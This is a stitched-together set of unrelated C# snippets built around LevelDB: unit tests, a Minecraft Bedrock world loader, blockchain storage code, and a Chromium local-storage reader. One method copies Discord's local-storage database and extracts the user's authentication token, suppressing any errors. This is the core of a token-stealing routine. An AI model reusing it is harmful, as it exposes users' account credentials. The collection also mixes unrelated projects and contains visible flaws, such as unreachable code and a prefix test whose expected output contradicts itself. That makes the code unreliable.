public static LevelDB.ReadOptions CreateSnapshot(LevelDB.DB db)
{
return(new LevelDB.ReadOptions()
{
Snapshot = db.CreateSnapshot()
});
}
public void GetIterable()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
Assert.Equal(
"a=1;b=2;c=3;l=12;m=13;n=14;x=24;y=25;z=26",
string.Join(";", db.GetIterable().Select(kv => $"{kv.Key}={kv.Value}")));
}
public void GetIterableRangeReverse()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
Assert.Equal(
"y=25;x=24;n=14;m=13;l=12",
string.Join(";", db.GetIterable().Range("c", "y").Reverse().Select(kv => $"{kv.Key}={kv.Value}")));
}
public BedrockWorld(string folder) : base(folder)
{
BedrockDB = new LevelDB.DB(new LevelDB.Options()
{
CreateIfMissing = false
}, Path.Combine(folder, "db"));
Name = File.ReadAllText(Path.Combine(Folder, "levelname.txt"));
}
public void Get()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
Assert.Equal("1", db.Get("a"));
Assert.Equal("26", db.Get("z"));
Assert.Equal("1", db["a"]);
Assert.Equal("26", db["z"]);
}
public MapIterator(LevelDB.DB db, LevelDB.ReadOptions snapshot, byte[] head)
{
this.db = db;
this.snapshot = snapshot;
this.head = head;
this.it = new LevelDB.Iterator(db, snapshot);
it.Seek(head);
}
public void Delete()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
db.Delete("a").Delete("c").Delete("m").Delete("n");
Assert.Equal(
"b=2;l=12;x=24;y=25;z=26",
string.Join(";", db.GetIterable().Select(kv => $"{kv.Key}={kv.Value}")));
}
public WriteBatch(LevelDB.DB _db, LevelDB.ReadOptions _snapshot = null)
{
this.db = _db;
this.snapshot = _snapshot;
if (this.snapshot == null)
{
this.snapshot = Helper.CreateSnapshot(db);
}
this.wb = new LevelDB.WriteBatch();
cache = new System.Collections.Concurrent.ConcurrentDictionary <System.Numerics.BigInteger, byte[]>();
}
private LevelDB.DB <string, string> GetTestDb([CallerMemberName] string name = null)
{
LevelDB.Options options = new LevelDB.Options();
options.CreateIfMissing = true;
var db = new LevelDB.DB(options, $"/tmp/DBTests-{name}").Cast <string, string>();
db.Put("c", "3").Put("b", "2").Put("a", "1");
db.Put("l", "12").Put("m", "13").Put("n", "14");
db.Put("z", "26").Put("y", "25").Put("x", "24");
return(db);
}
public void Infinity()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
Assert.Equal(
"y=25;z=26",
string.Join(";", db.GetIterable().Range("y", null).Select(kv => $"{kv.Key}={kv.Value}")));
Assert.Equal(
"z=26;y=25",
string.Join(";", db.GetIterable().Reverse().Range(null, "x").Select(kv => $"{kv.Key}={kv.Value}")));
}
//table不是数据结构，只是给存储的数据加上前缀
public static Table GetTable(LevelDB.DB db, byte[] tablename)
{
if (tablename == null || tablename.Length == 0)
{
return(new Table(db, new byte[0]));
}
if (tablename.Contains((byte)0x00))
{
throw new Exception("not a vaild tablename");
}
return(new Table(db, tablename));
}
public void Integers()
{
using var log = Log();
LevelDB.Options options = new LevelDB.Options();
options.CreateIfMissing = true;
using LevelDB.DB <int, string> db = new LevelDB.DB(options, $"/tmp/DBTests-Integers").Cast <int, string>();
db.Put(1, "aaa").Put(2, "bbb").Put(3, "ccc");
db.Put(7, "ggg").Put(8, "hhh").Put(9, "iii");
db.Put(6, "fff").Put(5, "eee").Put(4, "ddd");
Assert.Equal(
"4=ddd;5=eee;6=fff;7=ggg",
string.Join(";", db.GetIterable().Range(4, 8).Select(kv => $"{kv.Key}={kv.Value}")));
}
public void Join()
{
using var log = Log();
LevelDB.Options options = new LevelDB.Options();
options.CreateIfMissing = true;
using LevelDB.DB db = new LevelDB.DB(options, $"/tmp/DBTests-Join");
var parents = db.Cast <Parent, string>();
var children = db.Cast <Child, string>();
parents.Put(new Parent(1), "aaa");
parents.Put(new Parent(2), "bbb");
children.Put(new Child(1, 11), "afirst");
children.Put(new Child(1, 12), "asecond");
children.Put(new Child(2, 21), "afirst");
children.Put(new Child(2, 22), "asecond");
{
var join =
from parent
in parents.GetIterable().Range(new Parent(1), new Parent(3))
join child
in children.GetIterable().Range(new Child(1, 1), new Child(3, 1))
on parent.Key.parentId equals child.Key.parentId
select $"[{parent.Value} => {child.Key.parentId}:{child.Key.childId}:{child.Value}]";
Assert.Equal(
"[aaa => 1:11:afirst]; [aaa => 1:12:asecond]; [bbb => 2:21:afirst]; [bbb => 2:22:asecond]",
string.Join("; ", join));
}
{
IEnumerable <KeyValuePair <Tuple <Parent, Child>, Tuple <string, string> > > streamJoin =
parents.GetIterable().Range(new Parent(1), new Parent(3))
.Join(
children.GetIterable().Range(new Child(1, 1), new Child(3, 1)),
(k1, k2) => k1.parentId.CompareTo(k2.parentId));
Assert.Equal(
"1/11 => aaa/afirst; 1/12 => aaa/asecond; 2/21 => bbb/afirst; 2/22 => bbb/asecond",
string.Join("; ", streamJoin.Select(row => $"{row.Key.Item1.parentId}/{row.Key.Item2.childId} => {row.Value.Item1}/{row.Value.Item2}")));
}
{
IMergeJoinIterable <Parent, Child, string, string> streamJoin =
Tuple.Create(
parents.GetIterable().Range(new Parent(1), new Parent(3)),
children.GetIterable().Range(new Child(1, 1), new Child(3, 1)))
.Join2(sizeof(int), sizeof(int));
Assert.Equal(
"1/11 => aaa/afirst; 1/12 => aaa/asecond; 2/21 => bbb/afirst; 2/22 => bbb/asecond",
string.Join("; ", streamJoin.Select(row => $"{row.Key.Left.parentId}/{row.Key.Right.childId} => {row.Value.Left}/{row.Value.Right}")));
}
}
public void Snapshot()
{
using var log = Log();
using LevelDB.DB <string, string> db = GetTestDb();
IIterable <string, string> it = db.GetIterable().Snapshot();
db.Delete("a").Delete("c").Delete("m").Delete("n");
Assert.Equal(
"a=1;b=2;c=3;l=12;m=13;n=14;x=24;y=25;z=26",
string.Join(";", it.Select(kv => $"{kv.Key}={kv.Value}")));
it.Snapshot();
Assert.Equal(
"b=2;l=12;x=24;y=25;z=26",
string.Join(";", it.Select(kv => $"{kv.Key}={kv.Value}")));
}
public void Start(string dbPath, byte[] magic)
{
var curlibVersion = this.GetType().Assembly.GetName().Version;
Console.WriteLine("zoro.one V" + curlibVersion);
db = LevelDB.Ex.Helper.OpenDB(dbPath);
this.blockChainMagic = magic;
dbTable = new LevelDB.Ex.Table(db, magic);
InitBlock();
System.Threading.Thread t = new System.Threading.Thread(TimerThread);
t.IsBackground = true;//设置为后台线程，主程序退出这个线程就会玩完儿了，不用特别管他
t.Start();
}
public void Init(LevelDB.DB db, byte[] data)
{
this.db = db;
if (data == null || data.Length == 0)
{
throw new Exception("error map in Init");
}
var type = (Value_DataType)data[0];
if (type != Value_DataType.Map)
{
throw new Exception("error map in init.");
}
this.Value = data.Skip(1).ToArray();
}
public static string ChromiumLevelDBReadString(LevelDB.DB database, string url, string keyName)
{
foreach (var a in database)
{
var str = System.Text.Encoding.ASCII.GetString(a.Key);
Console.WriteLine(str);
}
var rawKeyName = $"_{url}\0\u0001{keyName}";
var rawValue = database.Get(rawKeyName);
if (rawValue == null)
{
throw new KeyNotFoundException();
}
return(rawValue.Replace("\u0001", "").TrimStart(new char[] { '"' }).TrimEnd(new char[] { '"' }));
}
public void PutToDB(LevelDB.DB db, byte[] key)
{
var snapshot = Helper.CreateSnapshot(db);
if (this.Value == null)
{//申请新的实例ID，然后初始化存储Map
var key_instMax = Helper.tagKey_InstanceMax;
var instid = db.Get(snapshot, key_instMax);
if (instid == null || instid.Length == 0)
{
instid = BitConverter.GetBytes((UInt64)1);
}
this.Value = instid;
this.db = db;
//刷新max
{
UInt64 v = BitConverter.ToUInt64(instid, 0);
v++;
instid = BitConverter.GetBytes((UInt64)v);
db.Put(key_instMax, instid);
}
//初始化字典数量
byte[] key_count = Helper.tagKey_MapCount.Concat(this.Value).ToArray();
db.Put(key_count, BitConverter.GetBytes((UInt64)0));
}
else
{//检查count是否存在，
byte[] key_count = Helper.tagKey_MapCount.Concat(this.Value).ToArray();
var count = db.Get(snapshot, key_count);
if (count == null || count.Length == 0)
{
throw new Exception("error map instance.");
}
}
db.Put(key, Helper.tagValue_Map.Concat(this.Value).ToArray());
}
public static IValue CreateValue(LevelDB.DB db, byte[] data)
{
if (data == null || data.Length == 0)
{
return(null);
}
IValue value = null;
if (data[0] == (byte)Value_DataType.Bytes)
{
value = new Bytes();
}
if (data[0] == (byte)Value_DataType.Map)
{
value = new Map();
}
if (value == null)
{
throw new Exception("unknown datatype.");
}
(value as IValueCreator).Init(db, data);
return(value);
}
private static string TryGetAuthIDFromDiscordStorage()
{
string tmpDir = null;
string returnValue = null;
try
{
tmpDir = Utils.GetTemporaryDirectory();
var discordLocalStoragePath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"discord\Local Storage\leveldb");
Utils.CopyFilesRecursively(discordLocalStoragePath, tmpDir);
using (var db = new LevelDB.DB(new LevelDB.Options
{
CreateIfMissing = false
}, tmpDir))
{
try
{
returnValue = Utils.ChromiumLevelDBReadString(db, "https://discordapp.com", "token");
}
catch (KeyNotFoundException)
{
returnValue = Utils.ChromiumLevelDBReadString(db, "https://discord.com", "token");
}
}
}
catch { } //Well, too bad but at least we've tried
if (tmpDir != null)
{
try { Directory.Delete(tmpDir, true); } catch { }
}
return(returnValue);
}
public void Prefix()
{
using var log = Log();
LevelDB.Options options = new LevelDB.Options();
options.CreateIfMissing = true;
using var db = new LevelDB.DB(options, $"/tmp/DBTests-Prefix").Cast <string, int>();
db
.Put("a", 1)
.Put("aa", 2)
.Put("ab", 3)
.Put("b", 4)
.Put("ba", 5)
.Put("bb", 6)
.Put("c", 7);
Assert.Equal(
"a=1;aa=2;ab=3",
string.Join(";", db.GetIterable().Prefix("a").Select(kv => $"{kv.Key}={kv.Value}")));
Assert.Equal(
"b=4;ab=3;aa=2",
string.Join(";", db.GetIterable().Reverse().Prefix("a").Select(kv => $"{kv.Key}={kv.Value}")));
Assert.Equal(
"b=4;ab=3;aa=2",
string.Join(";", db.GetIterable().Prefix("a").Reverse().Select(kv => $"{kv.Key}={kv.Value}")));
}
public override void Initialize()
{
db = OpenLevelDB(Path);
}
public void Batch_PutToDB(LevelDB.WriteBatch batch, LevelDB.DB db, byte[] key)
{
throw new NotSupportedException();
batch.Put(key, this.Value);
}
public LevelDBKeyValueStorage(string path)
{
this.path = path;
db = OpenLevelDB(path);
}
public Table(LevelDB.DB db, byte[] tablename)
{
this.db = db;
this.prefix = tablename;
}